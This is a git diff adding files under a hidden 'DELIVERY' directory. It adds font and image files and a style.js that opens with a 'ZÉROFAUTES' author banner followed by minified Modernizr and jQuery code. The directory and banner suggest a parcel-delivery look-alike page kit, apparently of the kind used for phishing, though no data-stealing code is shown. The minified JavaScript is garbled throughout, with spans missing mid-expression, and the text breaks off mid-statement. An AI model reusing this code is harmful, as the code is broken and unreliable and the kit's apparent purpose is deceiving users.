+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/public/.app/DELIVERY/F004f19441/layout/img/nombre.woff b/public/.app/DELIVERY/F004f19441/layout/img/nombre.woff new file mode 100644 index 00000000..5a4183d2 Binary files /dev/null and b/public/.app/DELIVERY/F004f19441/layout/img/nombre.woff differ diff --git a/public/.app/DELIVERY/F004f19441/layout/img/nombre.woff2 b/public/.app/DELIVERY/F004f19441/layout/img/nombre.woff2 new file mode 100644 index 00000000..39cffa4d Binary files /dev/null and b/public/.app/DELIVERY/F004f19441/layout/img/nombre.woff2 differ diff --git a/public/.app/DELIVERY/F004f19441/layout/img/ok.svg b/public/.app/DELIVERY/F004f19441/layout/img/ok.svg new file mode 100644 index 00000000..8ae75671 --- /dev/null +++ b/public/.app/DELIVERY/F004f19441/layout/img/ok.svg @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/public/.app/DELIVERY/F004f19441/layout/img/pak.png b/public/.app/DELIVERY/F004f19441/layout/img/pak.png new file mode 100644 index 00000000..3497a48a Binary files /dev/null and b/public/.app/DELIVERY/F004f19441/layout/img/pak.png differ diff --git a/public/.app/DELIVERY/F004f19441/layout/img/pub.jpg b/public/.app/DELIVERY/F004f19441/layout/img/pub.jpg new file mode 100644 index 00000000..5d3f9e7c Binary files /dev/null and b/public/.app/DELIVERY/F004f19441/layout/img/pub.jpg differ diff --git a/public/.app/DELIVERY/F004f19441/layout/img/pubr.gif b/public/.app/DELIVERY/F004f19441/layout/img/pubr.gif new file mode 100644 index 00000000..90e6b1b4 Binary files /dev/null and b/public/.app/DELIVERY/F004f19441/layout/img/pubr.gif differ diff --git a/public/.app/DELIVERY/F004f19441/layout/img/ta3.svg b/public/.app/DELIVERY/F004f19441/layout/img/ta3.svg new file mode 100644 index 00000000..36c3e9d5 --- /dev/null +++ b/public/.app/DELIVERY/F004f19441/layout/img/ta3.svg @@ -0,0 +1,4 @@ + + + + diff --git a/public/.app/DELIVERY/F004f19441/layout/img/vs.png b/public/.app/DELIVERY/F004f19441/layout/img/vs.png new file mode 100644 index 00000000..39e28304 Binary files /dev/null and b/public/.app/DELIVERY/F004f19441/layout/img/vs.png differ diff --git a/public/.app/DELIVERY/F004f19441/layout/js/style.js b/public/.app/DELIVERY/F004f19441/layout/js/style.js new file mode 100644 index 00000000..bdd1943f --- /dev/null +++ b/public/.app/DELIVERY/F004f19441/layout/js/style.js @@ -0,0 +1,112 @@ +/*========================================================================== +* +-+-+-+-+-+-+-+-+-+-+ Author Name : ZÉROFAUTES +* |Z|É|R|O|F|A|U|T|E|S| Author E-Mail : Zerofautes@mail.com +* +-+-+-+-+-+-+-+-+-+-+ Template Version : V.1.1 +===========================================================================*/ + +/*! modernizr 3.5.0 (Custom Build) | MIT */ +!function(e,t,n){function r(e,t){return typeof e===t}function o(){var e,t,n,o,i,s,a;for(var l in C)if(C.hasOwnProperty(l)){if(e=[],t=C[l],t.name&&(e.push(t.name.toLowerCase()),t.options&&t.options.aliases&&t.options.aliases.length))for(n=0;nd;d++)if(h=e[d],v=N.style[h],f(h,"-")&&(h=m(h)),N.style[h]!==n){if(i||r(o,"undefined"))return s(),"pfx"==t?h:!0;try{N.style[h]=o}catch(g){}if(N.style[h]!=v)return s(),"pfx"==t?h:!0}return s(),!1}function v(e,t){return function(){return e.apply(t,arguments)}}function A(e,t,n){var o;for(var i in e)if(e[i]in t)return n===!1?e[i]:(o=t[e[i]],r(o,"function")?v(o,n||t):o);return!1}function g(e,t,n,o,i){var s=e.charAt(0).toUpperCase()+e.slice(1),a=(e+" "+O.join(s+" ")+s).split(" ");return r(t,"string")||r(t,"undefined")?h(a,t,o,i):(a=(e+" "+T.join(s+" ")+s).split(" "),A(a,t,n))}function y(e,t,r){return g(e,n,n,t,r)}var C=[],b={_version:"3.5.0",_config:{classPrefix:"",enableClasses:!0,enableJSClass:!0,usePrefixes:!0},_q:[],on:function(e,t){var n=this;setTimeout(function(){t(n[e])},0)},addTest:function(e,t,n){C.push({name:e,fn:t,options:n})},addAsyncTest:function(e){C.push({name:null,fn:e})}},Modernizr=function(){};Modernizr.prototype=b,Modernizr=new Modernizr;var w=[],S=t.documentElement,x="svg"===S.nodeName.toLowerCase(),_="Moz O ms Webkit",T=b._config.usePrefixes?_.toLowerCase().split(" "):[];b._domPrefixes=T;var E=b._config.usePrefixes?" -webkit- -moz- -o- -ms- ".split(" "):["",""];b._prefixes=E;var P;!function(){var e={}.hasOwnProperty;P=r(e,"undefined")||r(e.call,"undefined")?function(e,t){return t in e&&r(e.constructor.prototype[t],"undefined")}:function(t,n){return e.call(t,n)}}(),b._l={},b.on=function(e,t){this._l[e]||(this._l[e]=[]),this._l[e].push(t),Modernizr.hasOwnProperty(e)&&setTimeout(function(){Modernizr._trigger(e,Modernizr[e])},0)},b._trigger=function(e,t){if(this._l[e]){var n=this._l[e];setTimeout(function(){var e,r;for(e=0;e=0&&c0&&b-1 in a)}var x=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C={}.hasOwnProperty,D=[],E=D.pop,F=D.push,G=D.push,H=D.slice,I=function(a,b){for(var c=0,d=a.length;c+~]|"+K+")"+K+"*"),S=new RegExp("="+K+"*([^\\]'\"]*?)"+K+"*\\]","g"),T=new RegExp(N),U=new RegExp("^"+L+"$"),V={ID:new RegExp("^#("+L+")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L+"|[*])"),ATTR:new RegExp("^"+M),PSEUDO:new RegExp("^"+N),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+K+"*(even|odd|(([+-]|)(\\d*)n|)"+K+"*(?:([+-]|)"+K+"*(\\d+)|))"+K+"*\\)|)","i"),bool:new RegExp("^(?:"+J+")$","i"),needsContext:new RegExp("^"+K+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+K+"*((?:-\\d)?\\d*)"+K+"*\\)|)(?=[^-]|$)","i")},W=/^(?:input|select|textarea|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,$=/[+~]/,_=new RegExp("\\\\([\\da-f]{1,6}"+K+"?|("+K+")|.)","ig"),aa=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:d<0?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ba=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ca=function(a,b){return b?"\0"===a?"\ufffd":a.slice(0,-1)+"\\"+a.charCodeAt(a.length-1).toString(16)+" ":"\\"+a},da=function(){m()},ea=ta(function(a){return a.disabled===!0&&("form"in a||"label"in a)},{dir:"parentNode",next:"legend"});try{G.apply(D=H.call(v.childNodes),v.childNodes),D[v.childNodes.length].nodeType}catch(fa){G={apply:D.length?function(a,b){F.apply(a,H.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s=b&&b.ownerDocument,w=b?b.nodeType:9;if(d=d||[],"string"!=typeof a||!a||1!==w&&9!==w&&11!==w)return d;if(!e&&((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push(j),d}else{if(l[2])return G.apply(d,b.getElementsByTagName(a)),d;if((f=l[3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q||!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.setAttribute("id",k=u),o=g(a),h=o.length;while(h--)o[h]="#"+k+" "+sa(o[h]);r=o.join(","),s=$.test(a)&&qa(b.parentNode)||b}if(r)try{return G.apply(d,s.querySelectorAll(r)),d}catch(x){}finally{k===u&&b.removeAttribute("id")}}}return i(a.replace(P,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("fieldset");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&a.sourceIndex-b.sourceIndex;if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.parentNode&&b.disabled===!1?"label"in b?"label"in b.parentNode?b.parentNode.disabled===a:b.disabled===a:b.isDisabled===a||b.isDisabled!==!a&&ea(b)===a:b.disabled===a:"label"in b&&b.disabled===a}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function qa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return!!b&&"HTML"!==b.nodeName},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=n.documentElement,p=!f(n),v!==n&&(e=n.defaultView)&&e.top!==e&&(e.addEventListener?e.addEventListener("unload",da,!1):e.attachEvent&&e.attachEvent("onunload",da)),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(n.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Y.test(n.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!n.getElementsByName||!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}}):(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c,d,e,f=b.getElementById(a);if(f){if(c=f.getAttributeNode("id"),c&&c.value===a)return[f];e=b.getElementsByName(a),d=0;while(f=e[d++])if(c=f.getAttributeNode("id"),c&&c.value===a)return[f]}return[]}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){if("undefined"!=typeof b.getElementsByClassName&&p)return b.getElementsByClassName(a)},r=[],q=[],(c.qsa=Y.test(n.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+K+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+K+"*(?:value|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){a.innerHTML="";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"*[*^$|!~]?="),2!==a.querySelectorAll(":enabled").length&&q.push(":enabled",":disabled"),o.appendChild(a).disabled=!0,2!==a.querySelectorAll(":disabled").length&&q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=Y.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"*"),s.call(a,"[s!='']:x"),r.push("!=",N)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=Y.test(o.compareDocumentPosition),t=b||Y.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===n||a.ownerDocument===v&&t(v,a)?-1:b===n||b.ownerDocument===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e||!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?la(g[d],h[d]):g[d]===v?-1:h[d]===v?1:0},n):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(S,"='$1']"),c.matchesSelector&&p&&!A[b+" "]&&(!r||!r.test(b))&&(!q||!q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&C.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.escape=function(a){return(a+"").replace(ba,ca)},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(_,aa),a[3]=(a[3]||a[4]||a[5]||"").replace(_,aa),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return V.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&T.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(_,aa).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+K+")"+a+"("+K+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:!b||(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(O," ")+" ").indexOf(c)>-1:"|="===b&&(e===c||e.slice(0,c.length+1)===c+"-"))}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h,t=!1;if(q){if(f){while(p){m=b;while(m=m[p])if(h?m.nodeName.toLowerCase()===r:1===m.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){m=q,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n),t===!1)while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if((h?m.nodeName.toLowerCase()===r:1===m.nodeType)&&++t&&(s&&(l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d||t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=I(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(P,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(_,aa),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return U.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(_,aa).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:oa(!1),disabled:oa(!0),checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return X.test(a.nodeName)},input:function(a){return W.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:pa(function(){return[0]}),last:pa(function(a,b){return[b-1]}),eq:pa(function(a,b,c){return[c<0?c+b:c]}),even:pa(function(a,b){for(var c=0;c=0;)a.push(d);return a}),gt:pa(function(a,b,c){for(var d=c<0?c+b:c;++d1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function va(a,b,c){for(var d=0,e=b.length;d-1&&(f[j]=!(g[j]=l))}}else r=wa(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):G.apply(g,r)})}function ya(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=ta(function(a){return a===b},h,!0),l=ta(function(a){return I(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];i1&&ua(m),i>1&&sa(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(P,"$1"),c,i0,e=a.length>0,f=function(f,g,h,i,k){var l,o,q,r=0,s="0",t=f&&[],u=[],v=j,x=f||e&&d.find.TAG("*",k),y=w+=null==v?1:Math.random()||.1,z=x.length;for(k&&(j=g===n||g||k);s!==z&&null!=(l=x[s]);s++){if(e&&l){o=0,g||l.ownerDocument===n||(m(l),h=!p);while(q=a[o++])if(q(l,g||n,h)){i.push(l);break}k&&(w=y)}c&&((l=!q&&l)&&r--,f&&t.push(l))}if(r+=s,c&&s!==r){o=0;while(q=b[o++])q(t,u,g,h);if(f){if(r>0)while(s--)t[s]||u[s]||(u[s]=E.call(i));u=wa(u)}G.apply(i,u),k&&!f&&u.length>0&&r+b.length>1&&ga.uniqueSort(i)}return k&&(w=y,j=v),t};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=ya(b[c]),f[u]?d.push(f):e.push(f);f=A(a,za(e,d)),f.selector=a}return f},i=ga.select=function(a,b,c,e){var f,i,j,k,l,m="function"==typeof a&&a,n=!e&&g(a=m.selector||a);if(c=c||[],1===n.length){if(i=n[0]=n[0].slice(0),i.length>2&&"ID"===(j=i[0]).type&&9===b.nodeType&&p&&d.relative[i[1].type]){if(b=(d.find.ID(j.matches[0].replace(_,aa),b)||[])[0],!b)return c;m&&(b=b.parentNode),a=a.slice(i.shift().value.length)}f=V.needsContext.test(a)?0:i.length;while(f--){if(j=i[f],d.relative[k=j.type])break;if((l=d.find[k])&&(e=l(j.matches[0].replace(_,aa),$.test(i[0].type)&&qa(b.parentNode)||b))){if(i.splice(f,1),a=e.length&&sa(i),!a)return G.apply(c,e),c;break}}}return(m||h(a,n))(e,b,!p,c,!b||$.test(a)&&qa(b.parentNode)||b),c},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("fieldset"))}),ja(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){if(!c)return a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){if(!c&&"input"===a.nodeName.toLowerCase())return a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(J,function(a,b,c){var d;if(!c)return a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);r.find=x,r.expr=x.selectors,r.expr[":"]=r.expr.pseudos,r.uniqueSort=r.unique=x.uniqueSort,r.text=x.getText,r.isXMLDoc=x.isXML,r.contains=x.contains,r.escapeSelector=x.escape;var y=function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&r(a).is(c))break;d.push(a)}return d},z=function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c},A=r.expr.match.needsContext;function B(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()}var C=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i,D=/^.[^:#\[\.,]*$/;function E(a,b,c){return r.isFunction(b)?r.grep(a,function(a,d){return!!b.call(a,d,a)!==c}):b.nodeType?r.grep(a,function(a){return a===b!==c}):"string"!=typeof b?r.grep(a,function(a){return i.call(b,a)>-1!==c}):D.test(b)?r.filter(b,a,c):(b=r.filter(b,a),r.grep(a,function(a){return i.call(b,a)>-1!==c&&1===a.nodeType}))}r.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?r.find.matchesSelector(d,a)?[d]:[]:r.find.matches(a,r.grep(b,function(a){return 1===a.nodeType}))},r.fn.extend({find:function(a){var b,c,d=this.length,e=this;if("string"!=typeof a)return this.pushStack(r(a).filter(function(){for(b=0;b1?r.uniqueSort(c):c},filter:function(a){return this.pushStack(E(this,a||[],!1))},not:function(a){return this.pushStack(E(this,a||[],!0))},is:function(a){return!!E(this,"string"==typeof a&&A.test(a)?r(a):a||[],!1).length}});var F,G=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/,H=r.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||F,"string"==typeof a){if(e="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:G.exec(a),!e||!e[1]&&b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof r?b[0]:b,r.merge(this,r.parseHTML(e[1],b&&b.nodeType?b.ownerDocument||b:d,!0)),C.test(e[1])&&r.isPlainObject(b))for(e in b)r.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}return f=d.getElementById(e[2]),f&&(this[0]=f,this.length=1),this}return a.nodeType?(this[0]=a,this.length=1,this):r.isFunction(a)?void 0!==c.ready?c.ready(a):a(r):r.makeArray(a,this)};H.prototype=r.fn,F=r(d);var I=/^(?:parents|prev(?:Until|All))/,J={children:!0,contents:!0,next:!0,prev:!0};r.fn.extend({has:function(a){var b=r(a,this),c=b.length;return this.filter(function(){for(var a=0;a-1:1===c.nodeType&&r.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?r.uniqueSort(f):f)},index:function(a){return a?"string"==typeof a?i.call(r(a),this[0]):i.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(r.uniqueSort(r.merge(this.get(),r(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function K(a,b){while((a=a[b])&&1!==a.nodeType);return a}r.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return y(a,"parentNode")},parentsUntil:function(a,b,c){return y(a,"parentNode",c)},next:function(a){return K(a,"nextSibling")},prev:function(a){return K(a,"previousSibling")},nextAll:function(a){return y(a,"nextSibling")},prevAll:function(a){return y(a,"previousSibling")},nextUntil:function(a,b,c){return y(a,"nextSibling",c)},prevUntil:function(a,b,c){return y(a,"previousSibling",c)},siblings:function(a){return z((a.parentNode||{}).firstChild,a)},children:function(a){return z(a.firstChild)},contents:function(a){return B(a,"iframe")?a.contentDocument:(B(a,"template")&&(a=a.content||a),r.merge([],a.childNodes))}},function(a,b){r.fn[a]=function(c,d){var e=r.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=r.filter(d,e)),this.length>1&&(J[a]||r.uniqueSort(e),I.test(a)&&e.reverse()),this.pushStack(e)}});var L=/[^\x20\t\r\n\f]+/g;function M(a){var b={};return r.each(a.match(L)||[],function(a,c){b[c]=!0}),b}r.Callbacks=function(a){a="string"==typeof a?M(a):r.extend({},a);var b,c,d,e,f=[],g=[],h=-1,i=function(){for(e=e||a.once,d=b=!0;g.length;h=-1){c=g.shift();while(++h-1)f.splice(c,1),c<=h&&h--}),this},has:function(a){return a?r.inArray(a,f)>-1:f.length>0},empty:function(){return f&&(f=[]),this},disable:function(){return e=g=[],f=c="",this},disabled:function(){return!f},lock:function(){return e=g=[],c||b||(f=c=""),this},locked:function(){return!!e},fireWith:function(a,c){return e||(c=c||[],c=[a,c.slice?c.slice():c],g.push(c),b||i()),this},fire:function(){return j.fireWith(this,arguments),this},fired:function(){return!!d}};return j};function N(a){return a}function O(a){throw a}function P(a,b,c,d){var e;try{a&&r.isFunction(e=a.promise)?e.call(a).done(b).fail(c):a&&r.isFunction(e=a.then)?e.call(a,b,c):b.apply(void 0,[a].slice(d))}catch(a){c.apply(void 0,[a])}}r.extend({Deferred:function(b){var 